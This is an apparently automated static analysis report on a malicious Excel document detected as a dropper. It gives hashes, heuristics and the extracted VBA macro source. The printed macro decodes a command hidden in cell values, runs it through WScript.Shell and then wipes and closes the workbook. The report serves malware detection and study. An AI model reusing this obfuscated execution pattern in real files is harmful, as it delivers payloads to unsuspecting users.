Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 80d0e39bbb4f9ecf…

MALICIOUS

Office (OLE)

77.0 KB Created: 2020-05-08 08:05:20 First seen: 2020-07-24
MD5: fd34e2232cfb0403d81fbff14517000e SHA-1: b3df8931e30cfc9e4e13278f895d1dc90e3839f3 SHA-256: 80d0e39bbb4f9ecf44d39fc1dd8fc1f94830038325f531556eca8cda843441a5
220 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic

The sample contains VBA macros that utilize WScript.Shell and CreateObject to execute commands. The script appears to construct a command string and then execute it using WScript.Shell, likely to download and run a secondary payload. The ClamAV detection name 'Doc.Dropper.Agent' further supports this dropper functionality.

Heuristics 5

  • ClamAV: Doc.Dropper.Agent-7790667-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-7790667-0
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
    On Error Resume Next: Print1 = ActiveSheet.UsedRange: boxx1 = 1
    For Each forr In ActiveSheet.UsedRange.SpecialCells(xlCellTypeConstants): prvview = prvview + Chr((forr + boxx1)): Next forr: WScript.Quit = (CreateObject("WScript.Shell").Exec(prvview).StdOut.ReadAll())
    formsa3
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    On Error Resume Next: Print1 = ActiveSheet.UsedRange: boxx1 = 1
    For Each forr In ActiveSheet.UsedRange.SpecialCells(xlCellTypeConstants): prvview = prvview + Chr((forr + boxx1)): Next forr: WScript.Quit = (CreateObject("WScript.Shell").Exec(prvview).StdOut.ReadAll())
    formsa3
  • Reference to Windows Script Host high SC_STR_WSCRIPT
    Reference to Windows Script Host

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1243 bytes
SHA-256: 2310782b55c1dcc727c34531557a12c27e9b9df5d18501ba1090fe6aed55d68b
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Attribute VB_Control = "pay1, 3, 0, MSForms, CommandButton"
Attribute VB_Control = "print3, 2, 1, MSForms, Frame"
Sub formsa3()
Cells.Clear: With ActiveSheet: .Protect: End With: Application.Wait (Now + TimeValue("0:00:05"))
ActiveWorkbook.Close True: End
End Sub
Private Sub print3_Layout()
On Error Resume Next: Print1 = ActiveSheet.UsedRange: boxx1 = 1
For Each forr In ActiveSheet.UsedRange.SpecialCells(xlCellTypeConstants): prvview = prvview + Chr((forr + boxx1)): Next forr: WScript.Quit = (CreateObject("WScript.Shell").Exec(prvview).StdOut.ReadAll())
formsa3
End Sub
Private Sub pay1_Click()
print3_Layout
End Sub

Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True